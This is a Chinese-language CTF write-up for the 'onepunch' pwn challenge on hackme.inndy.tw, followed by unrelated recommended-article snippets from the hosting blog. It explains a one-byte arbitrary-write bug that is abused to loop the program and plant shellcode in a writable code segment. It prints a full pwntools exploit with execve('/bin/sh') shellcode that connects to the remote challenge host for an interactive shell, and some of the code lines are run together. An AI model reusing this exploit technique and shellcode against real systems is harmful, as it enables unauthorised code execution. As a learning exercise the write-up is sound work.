https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了onepunch这个题目感觉还不错,我把wp分享出来,方便大家学习
onepunch的题目要求是:

nc hackme.inndy.tw 7718Punch!

这个题目没有太多提示
下面我用ida打开smashthestack这个程序看main函数

这个程序在16行有一个任意地址写的漏洞,程序输入的第一个数字是写入的地址,第二个数字是写入的数,但是这个程序只能写一个字节的数据到指定地址
先运行一下程序看一下这个程序干了啥

再看看程序开启了哪些保护:

看到NX enabled是开启了栈不可执行,而且这个程序还有canary保护,但是这个程序没有开启地址随机化
用gdb加载一下这个程序

用vmmap这个指令可以看到代码段可读写,这个题目一下子就简单了,通过任意地址的写,把shellcode写入内存中,然后执行起来,先看一下汇编代码

可以看到在任意地址写这个漏洞之后有个条件跳转(0000000000400767),可以控制这个跳转向上跳转到输入的地方(000000000040072C)从而使这段代码变成一个循环,可以看一下jz short loc_400756对应的字节码是75 0a,75是jnz,0a是跳转的偏移,所以就刚刚好通过第一次写操作把这个0a改掉,所以程序开始时输入400768 -61就可以让这个程序变成一个循环了

这样通过这个循环把0000000000400769后面的代码变成shellcode就可以了,关于shellcode,里面不能出现255,如果有255的话,shellcode就会被程序截断,我找了半天,找到一个好用的shellcode:https://www.exploit-db.com/exploits/36858/
这样就可以实现exp了:

#-*- coding: utf-8 -*-
__Auther__ = 'niexinming'from pwn import *
import binascii
import time
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'amd64', os = 'linux', log_level = 'debug')def debug(addr = '0x000000000040075d'):raw_input('debug:')gdb.attach(io, "b *" + addr)elf = ELF('/home/h11p/hackme/onepunch')
stack_chk_fail=elf.got['__stack_chk_fail']
print "%x" % stack_chk_fail#shellcode=asm(shellcraft.amd64.linux.sh())
#str_shellcode=str(binascii.b2a_hex(shellcode))
#https://www.exploit-db.com/exploits/36858/
shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
addr=0x0400769#io = process('/home/h11p/hackme/onepunch')io = remote('hackme.inndy.tw', 7718)payload1 = '400768'
payload2 = '-61'#debug()time.sleep(1)
io.recvuntil('Where What?')
io.sendline(payload1)
io.sendline(payload2)
'''
for i in xrange(0,len(str_shellcode),2):io.sendline(hex(addr))io.sendline(str(int(str_shellcode[i:i+2],16)))addr=addr+0x1
'''for i in shellcode:io.sendline(hex(addr))io.sendline(str(ord(i)))addr = addr + 0x1
io.sendline('4006f3')
io.sendline(str(255))
#io.recv()
io.interactive()io.close()

效果是:

onepunch的wp相关推荐

  1. hackme inndy pwn onepunch writeup

    继续来做题目,这次的pwn主要功能是一个任意地址写一个字节,然后就结束.... 然后找了半天...完全没思路...一个字节只能写一次.... 然后找了下别人的wp,发现代码段居然可以写,那骚操作就可以 ...

  2. [WP]使用ApacheCordova开发HTML5-WindowsPhone应用程序

    下载代码示例 这篇文章介绍 Apache 科尔多瓦,创建使用 HTML5 和 JavaScript,跨平台移动应用程序的框架,并显示了如何使用它为 Windows Phone 开发应用程序. Wind ...

  3. wp实例开发精品文章源码推荐

    qianqianlianmeng wp实例开发精品文章源码推荐 WP8 启动媒体应用         这个示例演示了如何选择正确的msAudioCategory类别的音像(AV)流来配置它作为一个音频 ...

  4. cocos2d-xna for win8源代码轻松移植cocos-xna for wp游戏

    无意间看到杨哥弄了一个cocos2d-xna for win8出来可惜没有放出源代码,我试着要了一下结果他没理我,各种画圈圈. 那我只好自己弄一个了,源代码放出大家供交流学习使用,像杨哥说的一样就是一 ...

  5. linux 更改wp版本号,代码实现移除 WordPress 版本号

    默认情况下,WordPress会在页头输出版本号,有一定安全隐患. 在当前主题的functions.php中添加以下代码,可同时移除feed和js/css中的WordPress版本号: // 同时删除 ...

  6. 图解 wp WordPress 文章 链接 在新窗口打开

    wp WordPress 文章 链接 在新窗口打开 因为wp默认是不在新窗口打开链接的,这对于我们这样习惯关窗口的人,用起来很不方便.其实改起来很简单,下面开始 一.打开外观,选择编辑 二.打开主题页 ...

  7. 正确设置语言,加速WP应用提交

            App Hub在7月18日进行了更新.有些用户反馈新增的默认语言选项有点令人费解.本文简单做个介绍,帮助开发者正确设置语言,加速WP应用提交快速.这次的系统更新后,App Hub可以检 ...

  8. wordpress必装的插件 wp最常用的十个插件

    wordpress是世界上著名的博客系统,简称wp.一般新安装完wordpress以后,往往需要首先安装一些插件,这样才可以使用wordpress的更多功能.wp最常用的十个插件有哪些呢,可能根据每个 ...

  9. WP老杨解迷:开发生态两极化和榜单乱象

    WP老杨解迷:开发生态两极化和榜单乱象 Windows Phone 自2013年的一片浪潮推动下,2014年终于开始引起了各大小CP们的注意,于是大量的产品开始乘风破浪一路涌进Windows Phon ...

最新文章

  1. Android Touch事件原理加实例分析
  2. python拼音怎么写-python: 拼音处理模块
  3. linux sshd服务是什么意思,Linux中sshd命令起什么作用呢?
  4. 计算机实训课教案模板,CorelDRAW实训课教案(7周)
  5. org.mybatis.spring.MyBatisSystemException: nested exception is org.apache.ibatis.exceptions.TooManyR
  6. 使用Linux,Python和Raspberry Pi酿造啤酒
  7. 采用Spring实现AOP功能
  8. django jsonresponse_0基础掌握Django框架(29)HttpResponse对象
  9. 搜索框,输入关键字过滤对象数组
  10. 图像识别算法超低代码开发方案
  11. 使用Keras打造一个实时可用交通标志识别App
  12. 从DCF到DCX:构想照进现实
  13. 一文搞懂深度学习中常用的优化算法
  14. 使用selenium爬取东航余票
  15. TTL反相器 电路分析
  16. 景深与光圈与焦距关系
  17. Java知识结构图谱
  18. IDEA学习篇——finds duplicated code提示
  19. 华为手机安卓手机莫名其妙的闹钟不知道哪里来的
  20. Bi-LSTM-CRF命名实体识别实战

热门文章

  1. 英语期刊写作-通往国际学术舞台的阶梯第八,九章答案
  2. 隐藏计划任务反弹shell
  3. 【快速技巧】手机拍摄的视频如何旋转并保存?
  4. 用计算机核裂变模拟实验,SAS和蒙特卡罗模拟(1):开篇
  5. 第一章 数据资产的定义
  6. ios运行html时黑屏,原神ios黑屏打不开怎么办?原神ios闪退解决方法
  7. uboot环境下mmc操作_uboot mmc命令详解
  8. 书1_JavaEE概念/项目_22/5/29
  9. 嵌入式系统设计(三):Vim编辑器的学习
  10. swing(二十一)